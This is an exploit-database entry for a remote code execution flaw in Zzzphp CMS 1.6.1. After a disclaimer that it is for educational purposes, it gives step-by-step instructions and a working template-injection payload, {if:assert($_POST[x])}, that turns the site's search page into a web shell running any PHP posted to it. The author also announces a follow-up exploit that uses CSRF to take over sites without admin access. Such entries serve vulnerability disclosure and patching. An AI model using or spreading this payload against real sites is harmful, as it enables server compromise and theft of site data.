Exploits / Vulnerability Discovered : 2019-02-25 |
Type : webapps |
Platform : php
This exploit / vulnerability Zzzphp cms 1.6.1 remote code execution is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: dynamic code evaluation of zzzphp cms 1.6.1
Due to the failure of filtering function parserIfLabel() in inc/zzz_template.php, attackers can insert dynamic php code into the template file and leads to dynamic code evaluation.
Exploit:
login in to the admin panel, edit the template of search.html, insert the following code:
{if:assert($_POST[x])}phpinfo();{end if}
Visit the http://webroot/search/ and post data “x = phpinfo();”, the page will execute the php code “phpinfo()” as follow:
[1.png]
Remarks:
While the above exploit requires attackers to have the access to the admin panel, I will post another exploit by using csrf to acquire the control of website without access to the admin panel.